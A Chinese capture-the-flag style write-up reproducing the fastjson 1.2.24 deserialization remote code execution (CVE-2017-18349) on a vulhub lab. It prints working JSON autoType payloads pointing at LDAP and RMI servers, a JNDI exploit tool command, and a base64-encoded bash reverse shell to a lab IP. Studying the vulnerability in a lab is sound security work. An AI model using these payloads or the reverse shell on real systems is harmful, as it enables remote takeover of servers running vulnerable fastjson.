事项 | 描述 |
---|---|
漏洞概述 | fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 |
影响范围 | 1.2.24及之前版本。 |
漏洞编号 | CVE-2017-18349 |
这里使用vulhub的fastjson/1.2.24-rce进行复现。
访问http://192.168.146.167:37150/
使用工具进行检测
发现dnslog有数据,说明存在漏洞。
对应的payload
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://dfk38o.dnslog.cn/aaa","autoCommit":true}}
然后再进行抓包,添入payload,手工再测一遍。发现确实存在。
验证有漏洞之后,就尝试反弹shell。这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行进一步的漏洞利用。
反弹的的ip和端口是192.168.146.161和10000
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}
执行以下命令,进行反弹shell。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"
由于不知道对方java的版本,所以就一个个试。
然后发现漏洞利用成功
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.146.161:1099/vbgahy","autoCommit":true}}
成功反弹了shell。
进入tmp目录下,成功拿到flag。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。